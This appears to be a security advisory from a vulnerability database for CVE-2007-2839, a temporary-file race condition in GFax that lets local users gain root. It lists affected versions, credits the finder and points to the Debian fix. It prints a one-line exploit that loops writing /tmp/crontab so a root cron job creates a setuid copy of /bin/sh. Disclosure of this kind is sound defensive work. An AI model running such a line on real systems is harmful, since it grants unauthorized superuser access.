GFax Temporary Files Local Arbitrary Command Execution Vulnerability

Bugtraq ID:	24780
Class:	Race Condition Error
CVE:	CVE-2007-2839
Remote:	No
Local:	Yes
Published:	Jul 05 2007 12:00AM
Updated:	Jul 06 2007 09:17PM
Credit:	Steve Kemp from the Debian Security Audit project discovered this vulnerability.
Vulnerable:	GFAX GFAX 0.7.6 Debian Linux 3.1
Not Vulnerable:

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

GFAX is prone to a vulnerability that lets local attackers execute arbitrary commands with superuser privileges. Successful attacks will result in the complete compromise of affected computers.

GFAX 0.7.6 is vulnerable; other versions may also be affected.

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

The following exploit is available:

while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

Solution:
Fixes addressing this issue are available. Please see the references for more information.


Debian Linux 3.1

• Debian gfax_0.4.2.orig.tar.gz
  http://security.debian.org/pool/updates/main/g/gfax/gfax_0.4.2.orig.ta r.gz

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

References:

• #431893 CVE-2007-2839: Trivial local-root attack (Debian)
  
• Vendor Homepage (GFAX)